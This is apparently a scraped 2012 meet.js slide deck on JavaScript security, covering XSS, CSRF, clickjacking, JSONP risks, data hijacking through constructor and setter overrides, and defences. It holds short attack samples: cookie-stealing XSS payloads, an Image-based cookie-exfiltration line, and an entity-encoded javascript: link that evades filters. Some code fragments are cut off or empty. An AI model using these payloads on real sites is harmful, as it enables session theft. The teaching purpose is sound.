JavaScript Security

Pronounced non-existent long ago...

@naugtur, meet.js 03.2012


  • Hurting people - basics: XSS, CSRF, clickjacking
  • Stealing cookies
  • Do you like JSONP?
  • Hijacking data whatever the scope
  • Exploiting the user for DDOS and port scanning
  • Defending:

  • Last minute sanitization
  • Preventing someone from messing up your code
  • Sandboxing JSONP
  • Third party code on my page? CAJA just don't
  • Don't feel XSS proof


Hurting people - basics

  • Persistent XSS
    ...userinput... <script> alert(document.cookie) </script> 
    ...userinput..." onmouseover="alert(document.cookie)" 
  • Reflected XSS<script> alert(document.cookie) </script> 
     404, There is no page <script> alert(document.cookie) </script> 
  • CSRF
     <form method="POST" action="" > 
  • Clickjacking
    <iframe style="opacity:0" src="" >

Stealing cookies

  • Get your code to work on a page (XSS)
  • Catch the cookies and send away
     var img=new Image(); img.src=""+encodeURIComponent(document.cookie) 
  • Put the cookie in your browser and access the page...
  • Prevent that from happening:

  • Save user's IP in session and destroy session
    when IP changes
  • Use server-only cookies
     Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
    [; expires=<date>][; domain=<domain_name>]
    [; path=<some_path>][; secure][; HttpOnly] 

Should I trust JSONP?

  • Use JSONP only if you are aware how it works.
  • That's in fact a hack.
    function simpleJSONP(address,callbackFunction){
      var randomNum = ~~(Math.random()*100000);   //long random
      var script = document.createElement('script');
      script.setAttribute('src', address+'?jsoncallback=somename'+randomNum);
      //and there's some cleanup later
  • It simply runs a script assuming that it contains
  • But it can easily be:
     document.body.innerHTML="Eat moar viagra!" //advertisement
    	    somename298374({/*data*/}) //expected content	      

Hijacking data

  • The old way (doesn't work anymore)
    Override the array constructor to catch the content of any array on page.
    function Array() {
       for(var i=0;i<arguments.length;i+=1){
    var arr=[1,2,3];      
  • Still works with this:
    var arr=new Array(1,2,3);	      

Hijacking data

  • Hijacking object setters (works except new FireFox)
      var x={};      //some private variable;
    Object.prototype.__defineSetter__('data', function() {
    Object.defineProperty(Object.prototype, 'data', {
     set:function(obj) {
  • Crosses all scopes etc.
  • Not so long ago it worked with JSON array loaded as script.

Hijacking data

Hard to find a good way to defend.

The method requires knowing key names.

Random variable names server side in session?

DDOS and port scanning

  • JSONP is not the only hack, iframes, images and more...
    All load cross-browser
  • Can send GET requests with any payload
  • Can try some ports (but browsers tend to block the important ones, below 80)
  • [Examples]


Last minute sanitization

  • Ok, this is easy...
  • Instead of this:
  • try this:
    var oText = document.createTextNode(variableContainingText);
  • Why is that useful?
    var variableContainingText = "some user input <script src= ..."

Preventing someone from messing up your code

  • Wrap in closure
      var cantAccessMe=1;
  • Preventing stupidity ;)
    undefined=true; //what an asshole
      //undefined is undefined here :)
  • When expecting collisions
    window['``~~!@#$%^&*)(_+--=']="I guess this global variable name is free";
  • Get the global scope, not the window variable
    var Fn = Function, global = Fn('return this')();

Sandboxing JSONP

Do JSONP in an different-origin iframe and pass results via iframe-to-iframe communication.

Original source

Google CAJA

It's supposed to be able to filter out risky javascript... Yeah, I wonder how it handles this:


It's called obfuscation and actually does this:


More obfuscation, because it's cool :)

This is some obfuscated javascript that doesn't seem to work anymore (it's from 2009). Note the characters used in the code...


I'm not sure what it did, now it throws an error when trying to run Array.prototype.sort on null. You see that there, right? :P

Sanitizing user input to prevent XSS

Still thinking you can filter out XSS? You will just allow some safe tags like a simple link without javascrip in it?

<a href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41">Test</a>

Think twice

Mozilla signed scripts

It started with Netscape4 and is (silently) being continued.

Signed scripts are kept in a .jar archive and can't be changed without the browser noticing that. They can also ask for more permissions

So it's probably a threat if you add some social engineering

Play safe.

You can find me on twitter, github and stackoverflow. Just look for naugtur